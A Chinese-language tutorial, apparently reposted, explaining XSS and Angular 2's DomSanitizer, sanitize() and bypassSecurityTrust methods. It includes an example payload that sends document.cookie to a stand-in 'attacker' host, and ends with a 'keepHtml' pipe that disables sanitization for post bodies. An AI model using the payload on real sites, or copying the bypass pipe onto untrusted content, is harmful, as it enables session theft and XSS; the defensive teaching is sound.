Angular 2 DomSanitizer
Cross-site scripting (跨站脚本)
Cross-site scripting 示例互联网上的几乎每个博客都有一个评论的系统,允许用户对文章发表评论。评论信息一般使用常用的 HTML 表单进行提交。具体示例如下: <form> <textarea class="comment" cols="30" rows="10"></textarea> <button type="submit">Submit</button> </form> <h1>Comments</h1> <ul></ul> var $form = $('form'); var $comment = $('.comment'); var $ul = $('ul'); $form.on('submit',e => { e.preventDefault(); var value = $($comment).val(); if(value) { $($ul).append(`<li>${value}</li>`); } }); 现在假设攻击者将以下代码作为评论信息发送到服务器: <script> window.location=’http://attacker/?cookie='+document.cookie </script> 如果网站没有保护自己免受跨站脚本的攻击,该内容将被保存到数据库中,访问该页面的所有用户将重定向到攻击者的URL。然而现实中一个真正的攻击者会创建一个更危险的脚本,例如,攻击者可以记录键盘事件并将这些信息发送到他自己拥有的服务器。 刚才我们看到的,只是 XSS 攻击的一个简单示例,它还可以有许多形式,如URL查询,href属性,CSS等等... 如果你想了解更多关于XSS的信息,可以浏览这个网站 - excess-xss。 Angular 2 如何保护我们免受 XSS 攻击Angular 2 中默认将所有输入值视为不受信任。当我们通过 property,attribute,样式,类绑定或插值等方式,将一个值从模板中插入到DOM中时,Angular 2 会自帮我们清除和转义不受信任的值。我们来看一下具体示例: import { Component } from '@angular/core'; @Component({ selector: 'exe-app',template: ` <div [innerHtml]="html"></div> ` }) export class AppComponent { html: string; constructor() { this.html = "<h1>DomSanitizer</h1><script>attackerCode()</script>"; } } 以上代码运行后浏览器显示的结果:
从上图可以看出,Angular 2 在编译的时候,会自动清理 HTML 输入并转义不安全的代码,因此在这种情况下,脚本不会运行,只能在屏幕上显示为文本。接下来我们继续来看一个例子,如何绑定 iframe 的 src 属性值: import { Component } from '@angular/core'; @Component({ selector: 'exe-app',template: ` <iframe [src]="iframe"></iframe> ` }) export class AppComponent { iframe: string; constructor() { this.iframe = "https://segmentfault.com/"; } } 以上代码运行后,在浏览器中无法正常显示内容,控制台中输出了以下异常信息: EXCEPTION: Error in ./AppComponent class AppComponent - inline template:1:12 caused by: unsafe value used in a resource URL context (see http://g.co/ng/security#xss) Angular 抛出此错误是因为 iframe 的 import { Component } from '@angular/core'; import { DomSanitizer,SafeResourceUrl } from '@angular/platform-browser' @Component({ selector: 'exe-app',template: ` <iframe [src]="iframe"></iframe> ` }) export class AppComponent { iframe: SafeResourceUrl; constructor(private sanitizer: DomSanitizer) { this.iframe = this.sanitizer.bypassSecurityTrustResourceUrl( "https://segmentfault.com/"); } } 以上代码运行后,在浏览器中我们就可以看到正常的内容。另外需要注意的是,如果不受信任的用户数据调用这些方法,我们的应用程序将会存在 XSS 安全风险。 DomSanitizer - sanitize() 方法有时后我们需要手动过滤输入值,这时你可以使用 abstract sanitize(context: SecurityContext,value: any): string; 该方法的第一个参数表示 SecurityContext (安全上下文),它的可选值如下:
sanitize 方法的使用示例如下: import { Component,SecurityContext } from '@angular/core'; import { DomSanitizer } from '@angular/platform-browser' @Component({ selector: 'exe-app',template: ` <div [innerHtml]="html"></div> ` }) export class AppComponent { html: string; constructor(private sanitizer: DomSanitizer) { this.html = this.sanitizer.sanitize(SecurityContext.HTML,"<h1>Sanitize</h1><script>attackerCode()</script>"); console.log(this.html); } } 以上代码运行后,控制台的输出信息: WARNING: sanitizing HTML stripped some content (see http://g.co/ng/security#xss). app.component.ts:15 <h1>Sanitize</h1>attackerCode() 自定义 keepHtml 指令keepHtml 指令定义 import { Pipe,PipeTransform } from '@angular/core'; import { DomSanitizer } from '@angular/platform-browser'; @Pipe({ name: 'keepHtml',pure: false }) export class EscapeHtmlPipe implements PipeTransform { constructor(private sanitizer: DomSanitizer) { } transform(content) { return this.sanitizer.bypassSecurityTrustHtml(content); } } keepHtml 指令使用 <div [innerHTML]="post.body | keepHtml"></div> 参考资源
(编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |